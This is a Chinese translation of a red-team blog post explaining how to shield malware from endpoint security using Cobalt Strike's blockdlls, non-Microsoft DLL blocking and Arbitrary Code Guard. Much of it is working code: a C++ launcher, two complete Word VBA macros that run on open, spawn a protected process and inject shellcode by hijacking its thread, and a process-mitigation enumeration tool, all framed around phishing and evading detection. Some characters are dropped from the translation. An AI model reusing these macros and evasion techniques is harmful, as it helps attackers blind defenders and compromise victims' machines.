如何利用blockdlls和ACG保护你的恶意软件

在Cobalt Strike的近期更新中,加入了blockdlls命令,它可在攻击者派生子进程时阻止第三方DLL的加载。这就使安全产品在进程创建时无法通过DLL加载进行监控和可疑情况上 。

在进行过几次内部原理的讨论后,我觉得有必要写一篇文章展示其用法和背后的原理,如何用它来保护我们的恶意软件,阻止安全软件的监控。

blockdlls

blockdlls是在Cobalt Strike的3.14版本中出现的,用于保护派生的子进程不受第三方DLL的干扰。使用这个功能很简单,我们只需在一个活动的会话中使用blockdlls命令,然后派生一个子进程(使用spawn命令):

一旦我们的子进程出现,我们可以在ProcessHacker中看到类似语句:

此时如果一个没有被微软签名的DLL试图加载到进程中,就会出现一个很详细的错误,例如:

那么,Cobalt Strike是如何实现这一功能的呢?如果我们搜索CS beacon的二进制文件,你会看到对UpdateProcThreadAttribute的引用:

上图中,0x20007的Attribute参数实际上和
PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY有关,而0x100000000000的值解析为
PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON。可以看出,Cobalt Strike调用了CreateProcessAPI,其中涉及一个STARTUPINFOEX结构体,该结构体包含一个安全策略,在这种情况下,该策略阻止了非微软签名的DLL加载。

如果我们想自己重现,可以利用以下代码:

#include <Windows.h>int main(){ STARTUPINFOEXA si; PROCESS_INFORMATION pi; SIZE_T size = 0; BOOL ret; // Required for a STARTUPINFOEXA ZeroMemory(&si, sizeof(si)); si.StartupInfo.cb = sizeof(STARTUPINFOEXA); si.StartupInfo.dwFlags = EXTENDED_STARTUPINFO_PRESENT; // Get the size of our PROC_THREAD_ATTRIBUTE_LIST to be allocated InitializeProcThreadAttributeList(NULL, 1, 0, &size); // Allocate memory for PROC_THREAD_ATTRIBUTE_LIST si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc( GetProcessHeap(), 0, size ); // Initialise our list  InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size); // Enable blocking of non-Microsoft signed DLLs DWORD64 policy = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON; // Assign our attribute UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, &policy, sizeof(policy), NULL, NULL); // Finally, create the process ret = CreateProcessA( NULL, (LPSTR)"C:\Windows\System32\cmd.exe", NULL, NULL, true, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, reinterpret_cast<LPSTARTUPINFOA>(&si), &pi );}

进一步了解

现在我们知道了Cobalt Strike如何实现该功能,但在渗透的某些阶段这个功能并不能覆盖,这就给了安全软件可乘之机。让我们看看一个常见的钓鱼场景,我们试图通过一个包含恶意宏的文档来进行beacon植入:

一般入侵流程中,在上图红色方框的部分,blockdlls无法生效,但在蓝色方框中,我们可以看到由Cobalt Strike所派生的每个子进程都受到了“安全”策略的保护。这里所面临的风险是安全产品会将其DLL加载到迁移进程(这里显示为Internet Explorer),检查其中是否有恶意活动。

不过,结合上述代码和
PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON选项,我们可以较好地解决这个问题。

POC to spawn process with PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON mitigation enabled' by @_xpn_'' Thanks to https://github.com/itm4n/VBA-RunPE and https://github.com/christophetd/spoofing-office-macroConst EXTENDED_STARTUPINFO_PRESENT = &H80000Const HEAP_ZERO_MEMORY = &H8&Const SW_HIDE = &H0&Const MAX_PATH = 260Const PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY = &H20007Const MAXIMUM_SUPPORTED_EXTENSION = 512Const SIZE_OF_80387_REGISTERS = 80Const MEM_COMMIT = &H1000Const MEM_RESERVE = &H2000Const PAGE_READWRITE = &H4Const PAGE_EXECUTE_READWRITE = &H40Const CONTEXT_FULL = &H10007Private Type PROCESS_INFORMATION hProcess As LongPtr hThread As LongPtr dwProcessId As Long dwThreadId As LongEnd TypePrivate Type STARTUP_INFO cb As Long lpReserved As String lpDesktop As String lpTitle As String dwX As Long dwY As Long dwXSize As Long dwYSize As Long dwXCountChars As Long dwYCountChars As Long dwFillAttribute As Long dwFlags As Long wShowWindow As Integer cbReserved2 As Integer lpReserved2 As Byte hStdInput As LongPtr hStdOutput As LongPtr hStdError As LongPtrEnd TypePrivate Type STARTUPINFOEX STARTUPINFO As STARTUP_INFO lpAttributelist As LongPtrEnd TypePrivate Type DWORD64 dwPart1 As Long dwPart2 As LongEnd TypePrivate Type FLOATING_SAVE_AREA ControlWord As Long StatusWord As Long TagWord As Long ErrorOffset As Long ErrorSelector As Long DataOffset As Long DataSelector As Long RegisterArea(SIZE_OF_80387_REGISTERS - 1) As Byte Spare0 As LongEnd TypePrivate Type CONTEXT ContextFlags As Long Dr0 As Long Dr1 As Long Dr2 As Long Dr3 As Long Dr6 As Long Dr7 As Long FloatSave As FLOATING_SAVE_AREA SegGs As Long SegFs As Long SegEs As Long SegDs As Long Edi As Long Esi As Long Ebx As Long Edx As Long Ecx As Long Eax As Long Ebp As Long Eip As Long SegCs As Long EFlags As Long Esp As Long SegSs As Long ExtendedRegisters(MAXIMUM_SUPPORTED_EXTENSION - 1) As ByteEnd TypePrivate Declare PtrSafe Function CreateProcess Lib "kernel32.dll" Alias "CreateProcessA" ( _ ByVal lpApplicationName As String, _ ByVal lpCommandLine As String, _ lpProcessAttributes As Long, _ lpThreadAttributes As Long, _ ByVal bInheritHandles As Long, _ ByVal dwCreationFlags As Long, _ lpEnvironment As Any, _ ByVal lpCurrentDriectory As String, _ ByVal lpStartupInfo As LongPtr, _ lpProcessInformation As PROCESS_INFORMATION _) As LongPrivate Declare PtrSafe Function InitializeProcThreadAttributeList Lib "kernel32.dll" ( _ ByVal lpAttributelist As LongPtr, _ ByVal dwAttributeCount As Integer, _ ByVal dwFlags As Integer, _ ByRef lpSize As Integer _) As BooleanPrivate Declare PtrSafe Function UpdateProcThreadAttribute Lib "kernel32.dll" ( _ ByVal lpAttributelist As LongPtr, _ ByVal dwFlags As Integer, _ ByVal lpAttribute As Long, _ ByVal lpValue As LongPtr, _ ByVal cbSize As Integer, _ ByRef lpPreviousValue As Integer, _ ByRef lpReturnSize As Integer _) As BooleanPrivate Declare Function WriteProcessMemory Lib "kernel32.dll" ( _ ByVal hProcess As LongPtr, _ ByVal lpba seAddress As Long, _ ByRef lpBuffer As Any, _ ByVal nSize As Long, _ ByVal lpNumberOfBytesWritten As Long _) As BooleanPrivate Declare Function ResumeThread Lib "kernel32.dll" (ByVal hThread As LongPtr) As LongPrivate Declare PtrSafe Function GetThreadContext Lib "kernel32.dll" ( _ ByVal hThread As Long, _ lpContext As CONTEXT _) As LongPrivate Declare Function SetThreadContext Lib "kernel32.dll" ( _ ByVal hThread As Long, _ lpContext As CONTEXT _) As LongPrivate Declare PtrSafe Function HeapAlloc Lib "kernel32.dll" ( _ ByVal hHeap As LongPtr, _ ByVal dwFlags As Long, _ ByVal dwBytes As Long _) As LongPtrPrivate Declare PtrSafe Function GetProcessHeap Lib "kernel32.dll" () As LongPtrPrivate Declare Function VirtualAllocEx Lib "kernel32" ( _ ByVal hProcess As Long, _ ByVal lpAddress As Long, _ ByVal dwSize As Long, _ ByVal flAllocationType As Long, _ ByVal flProtect As Long _) As LongSub AutoOpen() Dim pi As PROCESS_INFORMATION Dim si As STARTUPINFOEX Dim nullStr As String Dim pid, result As Integer Dim threadAttribSize As Integer Dim processPath As String Dim val As DWORD64 Dim ctx As CONTEXT Dim alloc As Long Dim shellcode As Variant Dim myByte As Long ' Shellcode goes here (jmp $) shellcode = Array(&HEB, &HFE) ' Path of process to spawn processPath = "C:\windows\system32\notepad.exe" ' Specifies PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON val.dwPart1 = 0 val.dwPart2 = &H1000 ' Initialize process attribute list result = InitializeProcThreadAttributeList(ByVal 0&, 1, 0, threadAttribSize) si.lpAttributelist = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, threadAttribSize) result = InitializeProcThreadAttributeList(si.lpAttributelist, 1, 0, threadAttribSize) ' Set our mitigation policy result = UpdateProcThreadAttribute( _ si.lpAttributelist, _ 0, _ PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, _ VarPtr(val), _ Len(val), _ ByVal 0&, _ ByVal 0& _ ) si.STARTUPINFO.cb = LenB(si) si.STARTUPINFO.dwFlags = 1 ' Spawn our process which will only allow MS signed DLL's result = CreateProcess( _ nullStr, _ processPath, _ ByVal 0&, _ ByVal 0&, _ 1&, _ &H80014, _ ByVal 0&, _ nullStr, _ VarPtr(si), _ pi _ ) ' Alloc memory (RWX for this POC, because... yolo) in process to write our shellcode to alloc = VirtualAllocEx( _ pi.hProcess, _ 0, _ 11000, _ MEM_COMMIT + MEM_RESERVE, _ PAGE_EXECUTE_READWRITE _ ) ' Write our shellcode For offset = LBound(shellcode) To UBound(shellcode) myByte = shellcode(offset) result = WriteProcessMemory(pi.hProcess, alloc + offset, myByte, 1, ByVal 0&) Next offset ' Point EIP register to allocated memory ctx.ContextFlags = CONTEXT_FULL result = GetThreadContext(pi.hThread, ctx) ctx.Eip = alloc result = SetThreadContext(pi.hThread, ctx) ' Resume execution ResumeThread (pi.hThread)End Sub

如果使用正确,我们可以看到安全软件所能检测的阶段减少了:

那么剩下的红色阶段呢?也还是有一些方法可以进行保护,例如,我们可以调用含有参数ProcessSignaturePolicy的SetMitigationPolicy,这也可以在运行时引入策略,也就是说,不需要通过CreateProcess重新执行。然而,很可能在VBA文件运行之前,某些DLL就已经加载到Word的地址空间中了,某些危险操作会增加被检测到的机会。

任意代码保护

要查看这个策略的实际效果,先让我们创建一个小程序,并尝试使用SetMitigationPolicy添加ACG:

#include <iostream>#include <Windows.h>#include <processthreadsapi.h>int main(){ STARTUPINFOEX si; DWORD oldProtection; PROCESS_MITIGATION_DYNAMIC_CODE_POLICY policy; ZeroMemory(&policy, sizeof(policy)); policy.ProhibitDynamicCode = 1; void* mem = VirtualAlloc(0, 1024, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (mem == NULL) { printf("[!] Error allocating RWX memoryn"); } else { printf("[*] RWX memory allocated: %pn", mem); } printf("[*] Now running SetProcessMitigationPolicy to apply PROCESS_MITIGATION_DYNAMIC_CODE_POLICYn"); // Set our mitigation policy if (SetProcessMitigationPolicy(ProcessDynamicCodePolicy, &policy, sizeof(policy)) == false) { printf("[!] SetProcessMitigationPolicy failedn"); return 0; } // Attempt to allocate RWX protected memory (this will fail) mem = VirtualAlloc(0, 1024, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (mem == NULL) { printf("[!] Error allocating RWX memoryn"); } else { printf("[*] RWX memory allocated: %pn", mem); } void* ntAllocateVirtualMemory = GetProcAddress(LoadLibraryA("ntdll.dll"), "NtAllocateVirtualMemory"); // Let's also try a VirtualProtect to see if we can update an existing page to RWX if (!VirtualProtect(ntAllocateVirtualMemory, 4096, PAGE_EXECUTE_READWRITE, &oldProtection)) { printf("[!] Error updating NtAllocateVirtualMemory [%p] memory to RWXn", ntAllocateVirtualMemory); } else { printf("[*] NtAllocateVirtualMemory [%p] memory updated to RWXn", ntAllocateVirtualMemory); }}

编译并执行后,我们会看到如下语句:

我们可以观察到在
SetProcessMitigationPolicy执行后,分配RWX内存页失败了。

为什么要提起这个?因为我们确实看到了一些EDR DLL被注入的例子,例如,@Sektor7Net向我们展示了Crowdstrike Falcon中的某个DLL,它不受
PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON的影响:

但是,很多EDR产品都会做的一件事就是根据某些功能在用户空间布置hook(相关文章)。由于hook通常需要修改现有的可执行page,添加Trampoline,所以通常需要调用VirtualProtect来更新内存保护。如果我们移除它创建RWX内存页的能力,就能迫使一个Microsoft签名DLL加载失败。

要在我们的VBA代码中实现这一点,我们需要添加
PROCESS_CREATION_MITIGATION_POLICY_PROHIBIT_DYNAMIC_CODE_ALWAYS_ON选项,启用这种保护:

' POC to spawn process with PROCESS_CREATION_MITIGATION_POLICY_PROHIBIT_DYNAMIC_CODE_ALWAYS_ON and PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON mitigation enabled' by @_xpn_'' Thanks to https://github.com/itm4n/VBA-RunPE and https://github.com/christophetd/spoofing-office-macroConst EXTENDED_STARTUPINFO_PRESENT = &H80000Const HEAP_ZERO_MEMORY = &H8&Const SW_HIDE = &H0&Const MAX_PATH = 260Const PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY = &H20007Const MAXIMUM_SUPPORTED_EXTENSION = 512Const SIZE_OF_80387_REGISTERS = 80Const MEM_COMMIT = &H1000Const MEM_RESERVE = &H2000Const PAGE_READWRITE = &H4Const PAGE_EXECUTE_READWRITE = &H40Const CONTEXT_FULL = &H10007Private Type PROCESS_INFORMATION hProcess As LongPtr hThread As LongPtr dwProcessId As Long dwThreadId As LongEnd TypePrivate Type STARTUP_INFO cb As Long lpReserved As String lpDesktop As String lpTitle As String dwX As Long dwY As Long dwXSize As Long dwYSize As Long dwXCountChars As Long dwYCountChars As Long dwFillAttribute As Long dwFlags As Long wShowWindow As Integer cbReserved2 As Integer lpReserved2 As Byte hStdInput As LongPtr hStdOutput As LongPtr hStdError As LongPtrEnd TypePrivate Type STARTUPINFOEX STARTUPINFO As STARTUP_INFO lpAttributelist As LongPtrEnd TypePrivate Type DWORD64 dwPart1 As Long dwPart2 As LongEnd TypePrivate Type FLOATING_SAVE_AREA ControlWord As Long StatusWord As Long TagWord As Long ErrorOffset As Long ErrorSelector As Long DataOffset As Long DataSelector As Long RegisterArea(SIZE_OF_80387_REGISTERS - 1) As Byte Spare0 As LongEnd TypePrivate Type CONTEXT ContextFlags As Long Dr0 As Long Dr1 As Long Dr2 As Long Dr3 As Long Dr6 As Long Dr7 As Long FloatSave As FLOATING_SAVE_AREA SegGs As Long SegFs As Long SegEs As Long SegDs As Long Edi As Long Esi As Long Ebx As Long Edx As Long Ecx As Long Eax As Long Ebp As Long Eip As Long SegCs As Long EFlags As Long Esp As Long SegSs As Long ExtendedRegisters(MAXIMUM_SUPPORTED_EXTENSION - 1) As ByteEnd TypePrivate Declare PtrSafe Function CreateProcess Lib "kernel32.dll" Alias "CreateProcessA" ( _ ByVal lpApplicationName As String, _ ByVal lpCommandLine As String, _ lpProcessAttributes As Long, _ lpThreadAttributes As Long, _ ByVal bInheritHandles As Long, _ ByVal dwCreationFlags As Long, _ lpEnvironment As Any, _ ByVal lpCurrentDriectory As String, _ ByVal lpStartupInfo As LongPtr, _ lpProcessInformation As PROCESS_INFORMATION _) As LongPrivate Declare PtrSafe Function InitializeProcThreadAttributeList Lib "kernel32.dll" ( _ ByVal lpAttributelist As LongPtr, _ ByVal dwAttributeCount As Integer, _ ByVal dwFlags As Integer, _ ByRef lpSize As Integer _) As BooleanPrivate Declare PtrSafe Function UpdateProcThreadAttribute Lib "kernel32.dll" ( _ ByVal lpAttributelist As LongPtr, _ ByVal dwFlags As Integer, _ ByVal lpAttribute As Long, _ ByVal lpValue As LongPtr, _ ByVal cbSize As Integer, _ ByRef lpPreviousValue As Integer, _ ByRef lpReturnSize As Integer _) As BooleanPrivate Declare Function WriteProcessMemory Lib "kernel32.dll" ( _ ByVal hProcess As LongPtr, _ ByVal lpba seAddress As Long, _ ByRef lpBuffer As Any, _ ByVal nSize As Long, _ ByVal lpNumberOfBytesWritten As Long _) As BooleanPrivate Declare Function ResumeThread Lib "kernel32.dll" (ByVal hThread As LongPtr) As LongPrivate Declare PtrSafe Function GetThreadContext Lib "kernel32.dll" ( _ ByVal hThread As Long, _ lpContext As CONTEXT _) As LongPrivate Declare Function SetThreadContext Lib "kernel32.dll" ( _ ByVal hThread As Long, _ lpContext As CONTEXT _) As LongPrivate Declare PtrSafe Function HeapAlloc Lib "kernel32.dll" ( _ ByVal hHeap As LongPtr, _ ByVal dwFlags As Long, _ ByVal dwBytes As Long _) As LongPtrPrivate Declare PtrSafe Function GetProcessHeap Lib "kernel32.dll" () As LongPtrPrivate Declare Function VirtualAllocEx Lib "kernel32" ( _ ByVal hProcess As Long, _ ByVal lpAddress As Long, _ ByVal dwSize As Long, _ ByVal flAllocationType As Long, _ ByVal flProtect As Long _) As LongSub AutoOpen() Dim pi As PROCESS_INFORMATION Dim si As STARTUPINFOEX Dim nullStr As String Dim pid, result As Integer Dim threadAttribSize As Integer Dim processPath As String Dim val As DWORD64 Dim ctx As CONTEXT Dim alloc As Long Dim shellcode As Variant Dim myByte As Long ' Shellcode goes here (jmp $) shellcode = Array(&HEB, &HFE) ' Path of process to spawn processPath = "C:\windows\system32\notepad.exe" ' Initialize process attribute list result = InitializeProcThreadAttributeList(ByVal 0&, 1, 0, threadAttribSize) si.lpAttributelist = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, threadAttribSize) result = InitializeProcThreadAttributeList(si.lpAttributelist, 1, 0, threadAttribSize) ' Specifies PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON ' and PROCESS_CREATION_MITIGATION_POLICY_PROHIBIT_DYNAMIC_CODE_ALWAYS_ON val.dwPart1 = 0 val.dwPart2 = &H1010 ' Set our mitigation policy result = UpdateProcThreadAttribute( _ si.lpAttributelist, _ 0, _ PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, _ VarPtr(val), _ Len(val), _ ByVal 0&, _ ByVal 0& _ ) si.STARTUPINFO.cb = LenB(si) si.STARTUPINFO.dwFlags = 1 ' Spawn our process which will only allow MS signed DLL's and disallow dynamic code result = CreateProcess( _ nullStr, _ processPath, _ ByVal 0&, _ ByVal 0&, _ 1&, _ &H80014, _ ByVal 0&, _ nullStr, _ VarPtr(si), _ pi _ ) ' Alloc memory (RWX for this POC, as this isn't blocked from alloc outside the process (and ... yolo)) in process to write our shellcode to alloc = VirtualAllocEx( _ pi.hProcess, _ 0, _ 11000, _ MEM_COMMIT + MEM_RESERVE, _ PAGE_EXECUTE_READWRITE _ ) ' Write our shellcode For Offset = LBound(shellcode) To UBound(shellcode) myByte = shellcode(Offset) result = WriteProcessMemory(pi.hProcess, alloc + Offset, myByte, 1, ByVal 0&) Next Offset ' Point EIP register to allocated memory ctx.ContextFlags = CONTEXT_FULL result = GetThreadContext(pi.hThread, ctx) ctx.Eip = alloc result = SetThreadContext(pi.hThread, ctx) ' Resume execution ResumeThread (pi.hThread)End Sub

所以这对于保护我们正在派生的进程是很好的,但是如果当我们想将一些代码注入一个已经被ACG保护的进程时呢?我听到的一个常见的误解是,我们无法将代码注入到受ACG保护的进程中,我们还需要某种形式的可写和可执行的内存。但实际上,ACG并不阻止远程进程调用VirtuAllocEx等函数。

例如,如果我们使用一些简单的shellcode去派生出cmd.exe,并将其注入到ACG保护的进程中:

应该注意的是,Cobalt Strike的beacon目前无法使用这种方法,因为依赖向RWX分配和修改内存页。我尝试了一些不同的可扩展配置文件选项来解决这个问题(主要和userwx有关的选项),但目前看来不行。

操作事项

现在,我们要将这些策略进行整合。例如,在开始生成任意进程时,可以用
PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON进行保护。

我们还希望用某个策略枚举出所有的进程。通过Powershell命令Get-ProcessMigration,我们可以知道注册表中定义的所有策略,而且我们也知道还有其他方法可以对进程进行保护,例如setMigrationPolicy API,此外还可以通过CreateProcessA生成任意进程。

为了确保正确地分析每个进程,我们需要一个简单的工具,如下工具将使用
GetProcessMitigationPolicy来识别策略的分配:

#include <iostream>#include <Windows.h>#include <tlhelp32.h>#include <processthreadsapi.h>bool SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege);void GetProtection(int pid, const char *exe) { PROCESS_MITIGATION_DYNAMIC_CODE_POLICY dynamicCodePolicy; PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY signaturePolicy; HANDLE pHandle = OpenProcess(PROCESS_QUERY_INFORMATION, false, pid); if (pHandle == INVALID_HANDLE_VALUE) { printf("[!] Error opening handle to %dn", pid); return; } // Actually retrieve the mitigation policy for ACG if (!GetProcessMitigationPolicy(pHandle, ProcessDynamicCodePolicy, &dynamicCodePolicy, sizeof(dynamicCodePolicy))) { printf("[!] Could not enum PID %d [%d]n", pid, GetLastError()); return; } if (dynamicCodePolicy.ProhibitDynamicCode) { printf("[%s] - ProhibitDynamicCoden", exe); } if (dynamicCodePolicy.AllowRemoteDowngrade) { printf("[%s] - AllowRemoteDowngraden", exe); } if (dynamicCodePolicy.AllowThreadOptOut) { printf("[%s] - AllowThreadOptOutn", exe); } // Retrieve mitigation policy for loading arbitrary DLLs if (!GetProcessMitigationPolicy(pHandle, ProcessSignaturePolicy, &signaturePolicy, sizeof(signaturePolicy))) { printf("Could not enum PID %dn", pid); return; } if (signaturePolicy.AuditMicrosoftSignedOnly) { printf("[%s] AuditMicrosoftSignedOnlyn", exe); } if (signaturePolicy.AuditStoreSignedOnly) { printf("[%s] - AuditStoreSignedOnlyn", exe); } if (signaturePolicy.MicrosoftSignedOnly) { printf("[%s] - MicrosoftSignedOnlyn", exe); } if (signaturePolicy.MitigationOptIn) { printf("[%s] - MitigationOptInn", exe); } if (signaturePolicy.StoreSignedOnly) { printf("[%s] - StoreSignedOnlyn", exe); }}int main(){ HANDLE snapshot; PROCESSENTRY32 ppe; HANDLE accessToken; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &accessToken)) { printf("[!] Error opening process tokenn"); return 1; } // Provide ourself with SeDebugPrivilege to increase our enumeration chances SetPrivilege(accessToken, SE_DEBUG_NAME); // Prepare handle to enumerate running processes snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0); if (snapshot == INVALID_HANDLE_VALUE) { printf("[!] Error: CreateToolhelp32Snapshotn"); return 2; } ppe.dwSize = sizeof(PROCESSENTRY32); Process32First(snapshot, &ppe); do { // Enumerate process mitigations GetProtection(ppe.th32ProcessID, ppe.szExeFile); } while (Process32Next(snapshot, &ppe));}bool SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege) { TOKEN_PRIVILEGES tp; LUID luid; if (!LookupPrivilegeValue( NULL, lpszPrivilege, &luid)) { printf("[!] LookupPrivilegeValue error: %un", GetLastError()); return FALSE; } tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if (!AdjustTokenPrivileges( hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) { printf("[!] AdjustTokenPrivileges error: %un", GetLastError()); return FALSE; } return TRUE;}

经过我对Windows 10的测试,发现已有几个进程应用了安全策略:

这些进程主要围绕Edge。当然我们也有许多其他选择,例如fontdrvhost.exe和dllhost.exe。

希望这篇文章能给你在渗透测试期间躲避安全软件的检测提供一些思路。

原文:
https://blog.xpnsec.com/protecting-your-malware/

白帽汇从事信息安全,专注于安全大数据、企业威胁情 。

公司产品:FOFA- 络空间安全搜索引擎、FOEYE- 络空间检索系统、NOSEC-安全讯息平台。

为您提供: 络空间测绘、企业资产收集、企业威胁情 、应急响应服务。

声明:本站部分文章及图片源自用户投稿,如本站任何资料有侵权请您尽早请联系jinwei@zod.com.cn进行处理,非常感谢!

上一篇 2019年10月1日
下一篇 2019年10月1日

相关推荐